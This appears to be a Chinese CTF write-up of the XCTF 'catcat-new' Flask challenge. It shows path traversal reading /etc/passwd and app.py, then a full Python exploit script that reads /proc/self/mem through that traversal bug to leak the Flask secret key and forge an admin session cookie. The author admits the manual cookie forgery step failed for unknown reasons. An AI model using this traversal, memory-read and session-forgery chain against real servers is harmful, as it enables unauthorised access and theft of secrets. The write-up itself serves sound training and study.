前提知识
- /etc/passwd
该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)
- /proc/self
proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据。
- /proc/self/cmdline
该文件包含的内容为当前进程执行的命令行参数。
- /proc/self/mem
/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。
- /proc/self/maps
/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。
- flask-session结构
flask_session是flask框架实现session功能的一个插件。其session结构分为三部分:序列化内容+时间+防篡改值,这三部分内容加密后以符号 “.”来进行分隔。flask_session默认session的储存是在用户Cookie中。但也可以指定存储在数据库,缓存中间件,服务器本地文件等等之中。
题目
打开页面显示如下
图片都可以点开,查看源代码也没有别的线索
dirsearch扫一下,也没有发现其他结果
点击图片跳转的猫的介绍页面
url上使用get请求传递了一个名为file的参数
判断可能有文件包含漏洞。修改参数为file=../../../etc/passwd发现存在漏洞
发现网站语言为python,flask模板注入,读取app.py文件
读取成功
复制上述内容可得
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh" # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"): # 导入flag文件并删除掉
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"]) # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
-
/
路由:用于返回主页模板 "index.html",其中包含从./details/
目录中获取的文件名列表。 -
/info
路由:用于返回详情页面模板 "detail.html",其中包含根据传递的参数file
、start
和end
动态生成的信息。 -
/admin
路由:如果用户的会话中admin
键的值为 1,返回flag
;否则,将admin
键的值设置为 0,并返回 "NoNoNo"。 -
app.run()
:启动应用程序,监听在0.0.0.0
的主机和5637
端口上。
这段代码还导入了 os
、uuid
和 flask
模块,并使用了自定义的 cat
函数。在代码中,会生成一个随机的 SECRET_KEY
,并将其用作应用程序的配置。
flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。先读取/proc/self/maps文件获取可读内容的内存映射地址。
破解脚本
# coding=utf-8
# ----------------------------------
###################################
# Edited by lx56@blog.lxscloud.top
###################################
# ----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:65303/"
# 此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
# ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
# Encode a Flask session cookie
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
# 匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
# 设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
# 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
# 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break
# 设置session中admin的值为1
data = '{"admin":1}'
# 伪造session
headers = {
"Cookie": "session=" + FSCM.encode(s_key, data)
}
# 请求admin路由
try:
flag = requests.get(url + "admin", headers=headers)
print("Flag is", flag.text)
except:
print("Something error")
得到secret-key
session在访问/admin路径时的cookie中,访问http://61.147.171.105:54442/admin
抓包得到session
利用工具flask_session_cookie_manager伪造session
python flask_session_cookie_manager3.py encode -s "dd2f770c1e2f4576af5bc1a6c7628ad4*abcdefgh" -t "{'admin':1}"
得到伪造的session,用bp修改session
但这里修改session传参之后还是只能得到nonono的内容,可能session错误,但是还没有找到原因。。。
参考文章内容
XCTF-Web-catcat-new-CSDN博客
https://www.cnblogs.com/niyani/p/17074125.html